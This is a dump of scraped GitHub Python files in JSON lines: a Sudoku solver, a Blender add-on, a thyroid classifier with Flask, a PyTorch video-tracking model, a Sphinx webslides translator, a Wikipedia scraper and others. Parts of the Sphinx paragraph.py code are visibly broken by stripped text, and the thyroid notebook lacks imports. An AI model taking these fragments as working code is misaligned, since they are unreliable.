i.possibleValues:\n i.equals(num)\n self.puzzle.numToSolve -= 1\n return\n\n def removeImpossibleValues(self, cell, puzzle = 0):\n if puzzle == 0: puzzle = self.puzzle\n for j in puzzle.getColumn(cell.index):\n if j.isSolved: \n cell.removePossibleValue(j.value)\n for j in puzzle.getRow(cell.index):\n if j.isSolved:\n cell.removePossibleValue(j.value)\n for j in puzzle.getSector(cell.index):\n if j.isSolved: \n cell.removePossibleValue(j.value)\n\n def solve(self):\n while self.puzzle.numToSolve != 0:\n num = self.puzzle.numToSolve\n for i in self.puzzle.cells:\n if not i.isSolved:\n self.removeImpossibleValues(i)\n self.puzzle.numToSolve -= i.updateCell()\n\n if num == self.puzzle.numToSolve: self.advancedSolve()\n if num == self.puzzle.numToSolve: \n tempPuzzle = self.bruteforceSolve()\n if tempPuzzle:\n if self.checkPuzzle(self.puzzle): return True\n else: return False\n if num == self.puzzle.numToSolve:\n return False\n return True\n\n\n","repo_name":"tristan-hull/SudokuSolver","sub_path":"app/solver.py","file_name":"solver.py","file_ext":"py","file_size_in_byte":4825,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"73335083524","text":"from .common import ComObject\nfrom .operators import KinectDataApplyingOperator\nfrom .operators import KinectDataReceivingOperator\nfrom .operators import RecordingOperator\nfrom .panels import AMK2BPanel\nimport bpy\n\nbl_info = {\n \"name\": \"AMK2B - Kinect Data Receiver\",\n \"description\": \"for KinectDataSender.\",\n \"author\": \"asahiufo@AM902\",\n \"version\": (1, 0, 0, 0),\n \"blender\": (2, 64, 0),\n \"location\": \"3D View > Tool Shelf > AMK2B Panel\",\n \"warning\": \"\",\n \"wiki_url\": \"\",\n \"tracker_url\": \"\",\n \"category\": \"Development\"\n}\n\n\ndef register():\n bpy.amk2b = ComObject()\n bpy.amk2b.kinect_data_receiving_started = False\n bpy.amk2b.kinect_data_applying_started = False\n bpy.amk2b.recording_pre_started = False\n bpy.amk2b.recording_started = False\n\n bpy.utils.register_class(AMK2BPanel)\n bpy.utils.register_class(KinectDataReceivingOperator)\n bpy.utils.register_class(KinectDataApplyingOperator)\n bpy.utils.register_class(RecordingOperator)\n\n\ndef unregister():\n bpy.utils.unregister_class(RecordingOperator)\n bpy.utils.unregister_class(KinectDataApplyingOperator)\n bpy.utils.unregister_class(KinectDataReceivingOperator)\n bpy.utils.unregister_class(AMK2BPanel)\n del bpy.amk2b\n\n\nif __name__ == \"__main__\":\n register()\n","repo_name":"asahiufo/AMK2B","sub_path":"blender/amk2b/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"99"} +{"seq_id":"73101402885","text":"import pandas as pd\r\nfrom my_functions import get_simple_table\r\n\r\n# Importamos en DataFrame las tablas necesarias\r\nusd_b = get_simple_table('usd') # Valor del dolar blue en soles\r\nusd_o = get_simple_table('usd_of') # Valor del dolar oficial en soles\r\nevents = get_simple_table('milestones') # eventos importantes\r\n\r\n# Exportamos en csv\r\nusd_b.to_csv('API_tables/usd_b.csv', index = False)\r\nusd_o.to_csv('API_tables/usd_o.csv', index = False)\r\nevents.to_csv('API_tables/events.csv', index = False)\r\n\r\nprint('Tablas importadas con éxito')\r\ninput() # Pausa para ver el mensaje","repo_name":"FcoCervantesRdz/HENRY-DolarBlue","sub_path":"01_download_data.py","file_name":"01_download_data.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"13588206751","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport pandas as pd\npath=\"IIIT/Winter '20/BDMH/BDMH Project/Dataset\"\ntraining_data=path+'/'+'ann-train.data'\ntesting_data=path+'/'+'ann-test.data'\nfile=open(training_data,'r')\nfile_2=open(testing_data,'r')\ntext=file.read()\ntraining_dataset=[]\ntext=text.strip()\ntext=text.split(\"\\n\")\nfor line in text:\n line=line.strip()\n words=line.split(\" \")\n training_dataset.append(words)\nprint(training_dataset[0]) \n\ntext_2=file_2.read()\ntesting_dataset=[]\ntext_2=text_2.strip()\ntext_2=text_2.split(\"\\n\")\nfor line in text_2:\n line=line.strip()\n words=line.split(\" \")\n testing_dataset.append(words)\n\n\n# In[2]:\n\n\n\ndf = pd.DataFrame(training_dataset,columns = ['Age','Sex','On_thyroxine','Query_on_thyroxine','On_antithyroid_medication','Sick','Pregnant','Thyroid_surgery','I131_treatment','Query_hypothyroid','Query_hyperthyroid','Lithium','Goitre','Tumor'\n ,'Hypopituitary','Psych','TSH','T3','TT4','T4U','FTI','Class'])\n\ndf_test = pd.DataFrame(testing_dataset,columns = ['Age','Sex','On_thyroxine','Query_on_thyroxine','On_antithyroid_medication','Sick','Pregnant','Thyroid_surgery','I131_treatment','Query_hypothyroid','Query_hyperthyroid','Lithium','Goitre','Tumor'\n ,'Hypopituitary','Psych','TSH','T3','TT4','T4U','FTI','Class'])\n\n\n# In[3]:\n\n\ncolumns=df.columns\n\n\n# In[4]:\n\n\nprint(df.shape)\nprint(df_test.shape)\n\n\n# In[5]:\n\n\ndf.describe()\n\n\n# In[6]:\n\n\nfor i in range(len(columns)):\n if(i==0 or i==16 or i==17 or i==18 or i==19 or i==20 ):\n df[columns[i]]=df[columns[i]].astype(\"float\")\n df_test[columns[i]]=df_test[columns[i]].astype(\"float\")\n \n else:\n df[columns[i]]=df[columns[i]].astype(\"int\")\n df_test[columns[i]]=df_test[columns[i]].astype(\"int\")\n\n\n# In[7]:\n\n\ndf.dtypes\n\n\n# In[8]:\n\n\nlen(training_dataset[0])\n\n\n# In[9]:\n\n\ndf.isnull().sum()\n\n\n# In[10]:\n\n\ncount={}\ncount_test={}\nfor i in range(3):\n count[i+1]=0\n count_test[i+1]=0\nfor i in range(len(df)):\n class_val=df.iloc[i,21]\n count[class_val]=count[class_val]+1\nprint(count)\n\nfor i in range(len(df_test)):\n class_val=int(df_test.iloc[i,21])\n count_test[class_val]=count_test[class_val]+1\nprint(count_test) \n\n\n# In[11]:\n\n\ncount_train=df['Class'].value_counts()\nprint(count_train)\ncount_test=df_test['Class'].value_counts()\nprint(count_test)\n\n\n# In[13]:\n\n\nimport matplotlib.pyplot as plt\n\nplt.bar('1',count_train[1],color='lightcoral')\nplt.bar('2',count_train[2],color='mediumseagreen')\nplt.bar('3',count_train[3],color='mediumpurple')\nplt.xlabel('Class Label')\nplt.ylabel('Class Distribution')\nplt.title(\"Training Data\")\nplt.show()\n\n\n# In[14]:\n\n\nplt.bar('1',count_test[1],color='lightcoral')\nplt.bar('2',count_test[2],color='mediumseagreen')\nplt.bar('3',count_test[3],color='mediumpurple')\nplt.xlabel('Class Label')\nplt.ylabel('Class Distribution')\nplt.title(\"Testing Data\")\nplt.show()\n\n\n# In[28]:\n\n\n#Normalise the data\nfrom sklearn.preprocessing import StandardScaler\nsc_X = StandardScaler()\nX_train = sc_X.fit_transform(df.iloc[:,0:3])\n#X_test=sc_X.fit_transform(df_test.iloc[:,0:21])\n\n\n# In[29]:\n\n\ny_train=df.iloc[:,21]\n\n\n# In[30]:\n\n\nprint(X_train.shape)\nprint(y_train.shape)\n\n\n# In[31]:\n\n\nfrom sklearn import tree\nfrom sklearn.tree import DecisionTreeClassifier \nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.model_selection import train_test_split \nfrom sklearn import metrics \nfrom sklearn.metrics import roc_auc_score\n\nX_train, X_test, y_train, y_test = train_test_split(X_train,y_train,test_size=0.2,random_state=100)\nclf_dt= DecisionTreeClassifier(max_depth=5) \n\n#Train the model using the training sets\nclf_dt.fit(X_train, y_train)\n\n#Predict the response for test dataset\ny_dt = clf_dt.predict(X_test)\na=metrics.accuracy_score(y_test,y_dt)\nprint(\"Training Validation accuracy: \",a)\n\n\n# In[40]:\n\n\nimport pickle\npickle.dump(clf_dt, open(\"model.pkl\",\"wb\"))\n\n\n# In[55]:\n\n\n#prediction function\ndef ValuePredictor(to_predict_list):\n to_predict = np.array(to_predict_list).reshape(1,3)\n loaded_model = pickle.load(open(\"model.pkl\",\"rb\"))\n result = loaded_model.predict(to_predict)\n return result[0]\n\n\n\n@app.route('/result',methods = ['POST'])\ndef result():\n if request.method == 'POST':\n to_predict_list = request.form.to_dict()\n to_predict_list=list(to_predict_list.values())\n to_predict_list = list(map(int, to_predict_list))\n result = ValuePredictor(to_predict_list)\n \n if int(result)==1:\n prediction='1'\n elif int(result)==2:\n prediction='2'\n else:\n prediction='3'\n \n \n return render_template(\"result.html\",prediction=prediction)\n\n\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"Swati19073/BigData","sub_path":"Project_Thyroid_Prediction/Code_frontend/Group9_Code_FrontEnd/thyroid/Flask sample 1.py","file_name":"Flask sample 1.py","file_ext":"py","file_size_in_byte":4747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"534279703","text":"import copy\nimport torch\nimport torch.nn as nn\n\nfrom libs.utils import *\nfrom libs.autoencoder import encoder3, decoder3, encoder_res18\n\nclass NLM_woSoft(nn.Module):\n\t\"\"\"\n\tNon-local mean layer w/o softmax on affinity\n\t\"\"\"\n\tdef __init__(self):\n\t\tsuper(NLM_woSoft, self).__init__()\n\n\tdef forward(self, in1, in2):\n\t\tn,c,h,w = in1.size()\n\t\tin1 = in1.view(n,c,-1)\n\t\tin2 = in2.view(n,c,-1)\n\n\t\taffinity = torch.bmm(in1.permute(0,2,1), in2)\n\t\treturn affinity\n\ndef transform(aff, frame1):\n\t\"\"\"\n\tGiven aff, copy from frame1 to construct frame2.\n\tINPUTS:\n\t - aff: (h*w)*(h*w) affinity matrix\n\t - frame1: n*c*h*w feature map\n\t\"\"\"\n\tb,c,h,w = frame1.size()\n\tframe1 = frame1.view(b,c,-1)\n\tframe2 = torch.bmm(frame1, aff)\n\treturn frame2.view(b,c,h,w)\n\nclass normalize(nn.Module):\n\t\"\"\"Given mean: (R, G, B) and std: (R, G, B),\n\twill normalize each channel of the torch.*Tensor, i.e.\n\tchannel = (channel - mean) / std\n\t\"\"\"\n\n\tdef __init__(self, mean, std = (1.0,1.0,1.0)):\n\t\tsuper(normalize, self).__init__()\n\t\tself.mean = nn.Parameter(torch.FloatTensor(mean).cuda(), requires_grad=False)\n\t\tself.std = nn.Parameter(torch.FloatTensor(std).cuda(), requires_grad=False)\n\n\tdef forward(self, frames):\n\t\tb,c,h,w = frames.size()\n\t\tframes = (frames - self.mean.view(1,3,1,1).repeat(b,1,h,w))/self.std.view(1,3,1,1).repeat(b,1,h,w)\n\t\treturn frames\n\ndef create_flat_grid(F_size, GPU=True):\n\t\"\"\"\n\tINPUTS:\n\t - F_size: feature size\n\tOUTPUT:\n\t - return a standard grid coordinate\n\t\"\"\"\n\tb, c, h, w = F_size\n\ttheta = torch.tensor([[1,0,0],[0,1,0]])\n\ttheta = theta.unsqueeze(0).repeat(b,1,1)\n\ttheta = theta.float()\n\n\t# grid is a uniform grid with left top (-1,1) and right bottom (1,1)\n\t# b * (h*w) * 2\n\tgrid = torch.nn.functional.affine_grid(theta, F_size)\n\tgrid[:,:,:,0] = (grid[:,:,:,0]+1)/2 * w\n\tgrid[:,:,:,1] = (grid[:,:,:,1]+1)/2 * h\n\tgrid_flat = grid.view(b,-1,2)\n\tif(GPU):\n\t\tgrid_flat = grid_flat.cuda()\n\treturn grid_flat\n\n\nclass track_match_comb(nn.Module):\n\tdef __init__(self, pretrained, encoder_dir = None, decoder_dir = None, temp=1, color_switch=True, coord_switch=True):\n\t\tsuper(track_match_comb, self).__init__()\n\n\t\tself.gray_encoder = encoder_res18(pretrained=pretrained, uselayer=4)\n\t\tself.rgb_encoder = encoder3(reduce=True)\n\t\tself.decoder = decoder3(reduce=True)\n\n\t\tself.rgb_encoder.load_state_dict(torch.load(encoder_dir))\n\t\tself.decoder.load_state_dict(torch.load(decoder_dir))\n\t\tfor param in self.decoder.parameters():\n\t\t\tparam.requires_grad = False\n\t\tfor param in self.rgb_encoder.parameters():\n\t\t\tparam.requires_grad = False\n\n\t\tself.nlm = NLM_woSoft()\n\t\tself.normalize = normalize(mean=[0.485, 0.456, 0.406],\n\t\t\t\t\t\t\t\t\tstd=[0.229, 0.224, 0.225])\n\t\tself.softmax = nn.Softmax(dim=1)\n\t\tself.temp = temp\n\t\tself.grid_flat = None\n\t\tself.grid_flat_crop = None\n\t\tself.color_switch = color_switch\n\t\tself.coord_switch = coord_switch\n\n\n\tdef forward(self, img_ref, img_tar, warm_up=True, patch_size=None):\n\t\tn, c, h_ref, w_ref = img_ref.size()\n\t\tn, c, h_tar, w_tar = img_tar.size()\n\t\tgray_ref = copy.deepcopy(img_ref[:,0].view(n,1,h_ref,w_ref).repeat(1,3,1,1))\n\t\tgray_tar = copy.deepcopy(img_tar[:,0].view(n,1,h_tar,w_tar).repeat(1,3,1,1))\n\n\t\tgray_ref = (gray_ref + 1) / 2\n\t\tgray_tar = (gray_tar + 1) / 2\n\n\t\tgray_ref = self.normalize(gray_ref)\n\t\tgray_tar = self.normalize(gray_tar)\n\n\t\tFgray1 = self.gray_encoder(gray_ref)\n\t\tFgray2 = self.gray_encoder(gray_tar)\n\t\tFcolor1 = self.rgb_encoder(img_ref)\n\n\t\toutput = []\n\n\t\tif warm_up:\n\t\t\taff = self.nlm(Fgray1, Fgray2)\n\t\t\taff_norm = self.softmax(aff)\n\t\t\tFcolor2_est = transform(aff_norm, Fcolor1)\n\t\t\tcolor2_est = self.decoder(Fcolor2_est)\n\n\t\t\toutput.append(color2_est)\n\t\t\toutput.append(aff)\n\n\t\t\tif self.color_switch:\n\t\t\t\tFcolor2 = self.rgb_encoder(img_tar)\n\t\t\t\tFcolor1_est = transform(aff_norm.transpose(1,2), Fcolor2)\n\t\t\t\tcolor1_est = self.decoder(Fcolor1_est)\n\t\t\t\toutput.append(color1_est)\n\t\telse:\n\t\t\tif(self.grid_flat is None):\n\t\t\t\tself.grid_flat = create_flat_grid(Fgray2.size())\n\t\t\taff_ref_tar = self.nlm(Fgray1, Fgray2)\n\t\t\taff_ref_tar = torch.nn.functional.softmax(aff_ref_tar * self.temp, dim = 2)\n\t\t\tcoords = torch.bmm(aff_ref_tar, self.grid_flat)\n\t\t\tnew_c = coords2bbox(coords, patch_size, h_tar, w_tar)\n\t\t\tFgray2_crop = diff_crop(Fgray2, new_c[:,0], new_c[:,2], new_c[:,1], new_c[:,3], patch_size[1], patch_size[0])\n\n\t\t\taff_p = self.nlm(Fgray1, Fgray2_crop)\n\t\t\taff_norm = self.softmax(aff_p * self.temp)\n\t\t\tFcolor2_est = transform(aff_norm, Fcolor1)\n\t\t\tcolor2_est = self.decoder(Fcolor2_est)\n\n\t\t\tFcolor2_full = self.rgb_encoder(img_tar)\n\t\t\tFcolor2_crop = diff_crop(Fcolor2_full, new_c[:,0], new_c[:,2], new_c[:,1], new_c[:,3], patch_size[1], patch_size[0])\n\n\t\t\toutput.append(color2_est)\n\t\t\toutput.append(Fcolor2_crop)\n\t\t\toutput.append(aff_p)\n\t\t\toutput.append(new_c*8)\n\t\t\toutput.append(coords)\n\n\t\t\t# color orthorganal\n\t\t\tif self.color_switch:\n\t\t\t\tFcolor1_est = transform(aff_norm.transpose(1,2), Fcolor2_crop)\n\t\t\t\tcolor1_est = self.decoder(Fcolor1_est)\n\t\t\t\toutput.append(color1_est)\n\n\t\t\t# coord orthorganal\n\t\t\tif self.coord_switch:\n\t\t\t\taff_norm_tran = self.softmax(aff_p.permute(0,2,1)*self.temp)\n\t\t\t\tif self.grid_flat_crop is None:\n\t\t\t\t\tself.grid_flat_crop = create_flat_grid(Fp_tar.size()).permute(0,2,1).detach()\n\t\t\t\tC12 = torch.bmm(self.grid_flat_crop, aff_norm)\n\t\t\t\tC11 = torch.bmm(C12, aff_norm_tran)\n\t\t\t\toutput.append(self.grid_flat_crop)\n\t\t\t\toutput.append(C11)\n\n\t\t\t# return \tpred1, pred2, aff_p, new_c * 8, self.grid_flat_crop, C11, coords\n\t\treturn output\n\n\nclass Model_switchGTfixdot_swCC_Res(nn.Module):\n\tdef __init__(self, encoder_dir = None, decoder_dir = None,\n\t\t\t\t\t temp = None, pretrainRes = False, uselayer=4):\n\t\t'''\n\t\tFor switchable concenration loss\n\t\tUsing Resnet18\n\t\t'''\n\t\tsuper(Model_switchGTfixdot_swCC_Res, self).__init__()\n\t\tself.gray_encoder = encoder_res18(pretrained = pretrainRes, uselayer=uselayer)\n\t\tself.rgb_encoder = encoder3(reduce = True)\n\t\tself.nlm = NLM_woSoft()\n\t\tself.decoder = decoder3(reduce = True)\n\t\tself.temp = temp\n\t\tself.softmax = nn.Softmax(dim=1)\n\t\tself.cos_window = torch.Tensor(np.outer(np.hanning(40), np.hanning(40))).cuda()\n\t\tself.normalize = normalize(mean=[0.485, 0.456, 0.406],\n\t\t\t\t\t\t\t\t std=[0.229, 0.224, 0.225])\n\n\t\tif(not encoder_dir is None):\n\t\t\tprint(\"Using pretrained encoders: %s.\"%encoder_dir)\n\t\t\tself.rgb_encoder.load_state_dict(torch.load(encoder_dir))\n\t\tif(not decoder_dir is None):\n\t\t\tprint(\"Using pretrained decoders: %s.\"%decoder_dir)\n\t\t\tself.decoder.load_state_dict(torch.load(decoder_dir))\n\n\t\tfor param in self.decoder.parameters():\n\t\t\tparam.requires_grad = False\n\t\tfor param in self.rgb_encoder.parameters():\n\t\t\tparam.requires_grad = False\n\n\tdef forward(self, gray1, gray2, color1=None, color2=None):\n\t\tgray1 = (gray1 + 1) / 2\n\t\tgray2 = (gray2 + 1) / 2\n\n\t\tgray1 = self.normalize(gray1)\n\t\tgray2 = self.normalize(gray2)\n\n\n\t\tFgray1 = self.gray_encoder(gray1)\n\t\tFgray2 = self.gray_encoder(gray2)\n\n\t\taff = self.nlm(Fgray1, Fgray2)\n\t\taff_norm = self.softmax(aff*self.temp)\n\n\t\tif(color1 is None):\n\t\t\t# for testing\n\t\t\treturn aff_norm, Fgray1, Fgray2\n\n\t\tFcolor1 = self.rgb_encoder(color1)\n\t\tFcolor2 = self.rgb_encoder(color2)\n\t\tFcolor2_est = transform(aff_norm, Fcolor1)\n\t\tpred2 = self.decoder(Fcolor2_est)\n\n\t\tFcolor1_est = transform(aff_norm.transpose(1,2), Fcolor2)\n\t\tpred1 = self.decoder(Fcolor1_est)\n\n\t\treturn pred1, pred2, aff_norm, aff, Fgray1, Fgray2\n","repo_name":"Liusifei/UVC","sub_path":"libs/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":7253,"program_lang":"python","lang":"en","doc_type":"code","stars":175,"dataset":"github-code","pt":"99"} +{"seq_id":"39848963218","text":"from sphinx.util.docutils import SphinxDirective\nfrom docutils import nodes\nfrom docutils.parsers.rst import directives\nfrom sphinx.writers.html import HTMLTranslator\n\nfrom .common import (\n process_classes,\n GenericDirective,\n add_attribute_to_tag,\n create_role,\n create_directive,\n generic_visit,\n generic_depart,\n get_node,\n get_generic_translator_class,\n add_role_and_directive,\n BaseNode,\n BaseClassNode,\n add_visit_depart,\n)\n\nTAG = 'p'\n\nclass paragraph_node(BaseNode): pass\nclass text_subtitle_node(BaseClassNode, paragraph_node):\n classes=['text-subtitle']\nclass text_symbols_node(BaseClassNode, paragraph_node):\n classes=['text-symbols']\nclass text_intro_node(BaseClassNode, paragraph_node):\n classes=['text-intro']\nclass text_center_node(BaseClassNode, paragraph_node):\n classes=['aligncenter']\nclass text_year_node(BaseClassNode, paragraph_node):\n classes=['year']\nclass text_title_node(BaseClassNode, paragraph_node):\n classes=['title']\nclass text_summary_node(BaseClassNode, paragraph_node):\n classes=['summary']\nclass text_context_node(BaseClassNode, paragraph_node):\n classes=['text-context']\nclass text_pull_right_node(BaseClassNode, paragraph_node):\n classes=['text-pull-right']\nclass paragraph_style_node(BaseClassNode): pass\n\nparagraph_map = {\n 'paragraph': paragraph_node,\n 'text-subtitle': text_subtitle_node,\n 'text-symbols': text_symbols_node,\n 'text-intro': text_intro_node,\n 'text-center': text_center_node,\n 'year': text_year_node,\n 'title': text_title_node,\n 'summary': text_summary_node,\n 'text-context': text_context_node,\n 'text-pull-right': text_pull_right_node,\n}\n\nclass ParagraphStyleDirective(GenericDirective):\n node_type = paragraph_style_node\n required_arguments = 1\n has_content = True\n\n def run(self):\n # Don't need the logic of super()\n node = paragraph_style_node()\n node['style'] = self.arguments[0]\n if self.has_content:\n node = self._process_content(node)\n return [node]\n\ndef setup_paragraph(app):\n for label in paragraph_map:\n node_type = paragraph_map[label]\n app.add_node(node_type)\n add_role_and_directive(app, node_type, label)\n app.add_directive('paragraph-style', ParagraphStyleDirective)\n # Convenience label\n add_role_and_directive(app, text_intro_node, 'ti')\n add_role_and_directive(app, text_center_node, 'c')\n add_role_and_directive(app, text_center_node, 'tsym')\n add_role_and_directive(app, text_subtitle_node, 'tsub')\n add_role_and_directive(app, text_context_node, 'tc')\n add_role_and_directive(app, text_pull_right_node, 'tpr')\n\ndef get_tag_and_heading(node_text: str):\n count = 1\n while node_text[count] == '#':\n count += 1\n return (f'h{count}', '#' * count)\n\nclass ParagraphTranslator(HTMLTranslator):\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.paragraph_style = None\n \n def visit_paragraph(self, node):\n \"\"\" Filter blank paragraphs\n\n webslides is very sensitive to blank paragraphs\n AND sphinx really likes to produce them.\n \"\"\"\n if node.astext() == '':\n return\n else:\n super().visit_paragraph(node)\n if ' 0:\n if node.astext()[0] == '#':\n markdown_tag, markdown_heading = get_tag_and_heading(node.astext()) \n self.body.append(f\"<{markdown_tag}>\")\n super().visit_Text(\n nodes.Text(node.astext().replace(markdown_heading, ''))\n )\n fail = False\n if fail:\n super().visit_Text(node)\n\n def depart_Text(self, node):\n fail = True\n if len(node.astext()) > 0:\n if node.astext()[0] == '#':\n markdown_tag, markdown_heading = get_tag_and_heading(node.astext()) \n self.body.append(f\"\")\n super().depart_Text(\n nodes.Text(node.astext().replace(markdown_heading, ''))\n )\n fail = False\n if fail:\n super().depart_Text(node)\n\n def depart_paragraph(self, node):\n if node.astext() == '':\n return\n else:\n super().depart_paragraph(node)\n\n def visit_paragraph_style_node(self, node):\n self.paragraph_style = node['style']\n\n def depart_paragraph_style_node(self, node):\n self.paragraph_style = None\n\n\nfor thing in paragraph_map.values():\n add_visit_depart(\n ParagraphTranslator,\n thing.__name__,\n TAG,\n )","repo_name":"engineerslifeforme/webslides-extension","sub_path":"sphinx_webslides_builder/paragraph.py","file_name":"paragraph.py","file_ext":"py","file_size_in_byte":5070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"26862974812","text":"'''\nsupplementalData.py\n Build a supplemental dataset for descriptions of each label\n in the dataset\n'''\nimport re\nimport datetime as dt\nimport nltk\nimport pandas as pd\nimport wikipedia\nfrom tqdm import tqdm\nfrom constants import *\nfrom buildVocab import CustAnalyzer\n\n\n# Ensure that the punkt package exists\nnltk.download('punkt')\n\n# Build setence segmenter using NLTK predefined punkt\ntokenizer = nltk.data.load('tokenizers/punkt/english.pickle').tokenize\n\n# Regex to use to search within disambiguation suggestions\nreg = re.compile(r'.*\\((medi\\w*)\\)', re.I)\nchars = re.compile(r'[\\x00-\\x1f]+')\n\n# Tracker for which search is returned\ntracker = {\n 'original': 0,\n 'disambiguation': 0,\n 'trimmed': 0,\n 'trimmed_disambiguation': 0,\n 'failed': 0,\n 'total_searches': 0\n}\n\ndef search_wiki(text, sent_detector=tokenizer):\n ''' Wrapper for the search call to Wikipedia\n Additionally splits by setence and only returns the first one'''\n \n # Setence detector must be a callable\n assert callable(sent_detector), \\\n \"Argument sent_detector must be a callable\"\n \n # Mark that a search occured\n tracker['total_searches'] += 1\n \n # Run the search\n desc = chars.sub(' ',\n wikipedia.WikipediaPage(title = text).summary\n )\n \n # Split by setences and return the first one\n return sent_detector(desc)[0], desc\n\ndef get_wiki_desc(text, original_term=None):\n ''' Returns tuple of the original text label and its \n scraped description. The methodology for finding \n a description is as follows:\n - The full text is searched and the first sentence \n of the summary is used\n \n - If no page exists for the full text, then either:\n - A disambiguation error occured. If any disambiguation\n suggestion contained \"medi\", use that and research, \n otherwise take the first alternate suggestion if less\n than 10 suggestions were available. More than that \n is too ambiguous so consider the search failed\n - If no pages existed, a word is removed and the search \n is reattempted. This helps retrieve meaningful text \n for labels like \"Blood amylase increased\", where a \n page does not exist for the full text, but a page exists \n for \"Blood amylase\" and the final word is simply descriptive\n\n - If removing the last word still fails to return a page, \n then the label text itself is used as the description. \n This is still highly beneficial in that many triggers \n in the training data are the label itself\n '''\n \n # Mark if this is a trimmed search and save\n # original text\n if original_term:\n trimmed = True\n else:\n trimmed = False\n original_term = text\n \n # Search wikipedia\n try:\n desc, summary = search_wiki(text)\n # Update the tracker\n if trimmed:\n tracker['trimmed'] += 1\n else:\n tracker['original'] += 1\n # Segment setentences and use first one\n return original_term, desc, summary\n \n # If multiple potential options then try to pick one out\n except wikipedia.DisambiguationError as e:\n # Get the alternates\n alternates = str(e).split(\"\\n\")[1:]\n\n # placeholder\n new_term = None\n\n # Scan the alternates to find if any are medical\n for alt in alternates:\n # Is it a medical/medicine disambiguation?\n # For example - Syncope (medicine)\n if reg.findall(alt):\n new_term = alt\n \n # None of them have a mention of medice so if less than 10 alternates, \n # take the first disambiguation suggestion\n if not new_term and len(alternates) < 10:\n new_term = alternates[0]\n \n # Picked an alternate so search\n if new_term:\n # Search the disamgiuation term\n try:\n desc, summary = search_wiki(new_term)\n # Update the tracker\n if trimmed:\n tracker['trimmed_disambiguation'] += 1\n else:\n tracker['disambiguation'] += 1\n return original_term, desc, summary\n except Exception as e:\n # This shouldn't happen but this takes a while so I don't\n # want a failure at term 10000\n print(f\"Disambiguation failed!!! Search term: {alt}\")\n print(f'\\tError: {e}')\n tracker['failed'] += 1\n return original_term, original_term, original_term\n \n # Too ambiguous so stick with just returning the label\n else:\n tracker['failed'] += 1\n return original_term, original_term, original_term\n \n # No page found so trim\n except wikipedia.PageError:\n # don't search again if this is a trimmed search\n if not trimmed and text.find(' ') > -1:\n # Save the original label\n original_term = text\n # Trim the last word off the text\n text = ' '.join(text.split(' ')[:-1])\n # Recursive search\n return get_wiki_desc(text, original_term)\n \n else:\n # Text was already trimmed or nothing to trim so search has failed\n tracker['failed'] += 1\n return original_term, original_term, original_term\n except Exception as e:\n print(f'Unexpected failure on term {original_term}')\n print(f'\\tError: {e}')\n tracker['failed'] += 1\n return original_term, original_term, original_term\n\ndef build_supplemental_data(label_list, sent_detector=None):\n ''' Iterate a list of labels and assemble the \n supplemental dataset.\n Returns pandas.DataFrame\n '''\n \n # Initialize a dictionary to hold observations\n data_dict = {'label': [], 'desc':[], 'summary': []}\n \n # Counter\n i = 0\n \n # Loop the input list\n for label in tqdm(label_list):\n # Search the term\n label, desc, summary = get_wiki_desc(label)\n # Add to the dictionary\n data_dict['label'] += [label]\n data_dict['desc'] += [desc]\n data_dict['summary'] += [summary]\n \n # Increment counter\n i += 1\n \n # Mark progress\n # print(f'Completed {i} searches', end=\"\\r\")\n \n # Return as a data frame\n return pd.DataFrame(data_dict)\n\nif __name__ == \"__main__\":\n # Open the label set and store as list\n with open(f'{LABEL_DIR}labels.csv', 'r') as f:\n labels = [x.replace('\\n', '') for x in f.readlines()]\n \n start_time = dt.datetime.now()\n\n print(f'Found {len(labels)} labels to search.')\n print(f'Starting search at {start_time.strftime(\"%T\")}...')\n # Build the supplemental dataset\n sup_data = build_supplemental_data(labels, tokenizer)\n\n # Write out to tab delemitted text\n sup_data.drop(['summary'], axis=1)\\\n .to_csv(f'{DATA_DIR}supplement_data.txt', sep=\"\\t\",\n index=False)\n\n # Pre-process the supplemental data summaries\n tokenize = CustAnalyzer(mask_dates=True, max_length=None)\n sup_data['summary'] = sup_data.summary\\\n .apply(lambda x: ' '.join(tokenize(x)))\n # Write out to tab delemitted text\n sup_data.drop(['desc'], axis=1)\\\n .to_csv(f'{DATA_DIR}wiki_data.csv',\n index=False)\n\n # Calculate end time\n total_time = dt.datetime.now() - start_time\n # Report the tracker\n print(' ' * 100)\n print('Data assembly complete')\n print(f\"Total runtime: {str(total_time).split('.', 2)[0]}\")\n print('Summary of search results:')\n print(tracker)\n\n","repo_name":"mstackhouse/w266_project","sub_path":"supplementalData.py","file_name":"supplementalData.py","file_ext":"py","file_size_in_byte":7881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"45975648077","text":"def main():\n ans()\n\ndef ans():\n answer = input('What is the Answer to the Great Question of Life, the Universe and Everything?\\n')\n key = \"forty two\"\n key2 = \"forty-two\"\n if answer.lower() == key2.lower():\n print('Yes')\n elif answer.lower() == key.lower():\n print('Yes')\n elif str(42) in answer :\n print('Yes')\n else:\n print('No')\n\nmain()\n","repo_name":"luannn010/CS50P","sub_path":"ProblemSet1/deep.py","file_name":"deep.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"34496371630","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport logging\nlogger = logging.getLogger(__name__)\n\n\nimport argparse\n\nimport os\n\nimport numpy as np\nimport pandas as pd\n\n#pd.set_option('max_rows', 10)\npd.set_option('expand_frame_repr', False)\npd.set_option('max_columns', 6)\n\nfrom pandas_anonymizer import Anonymizer\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('input', help='Input Excel or CSV file')\n parser.add_argument('-o', '--output', help='Output Excel or CSV file', default='')\n parser.add_argument('-l', '--locale', help='Faker locale', default='en_GB')\n 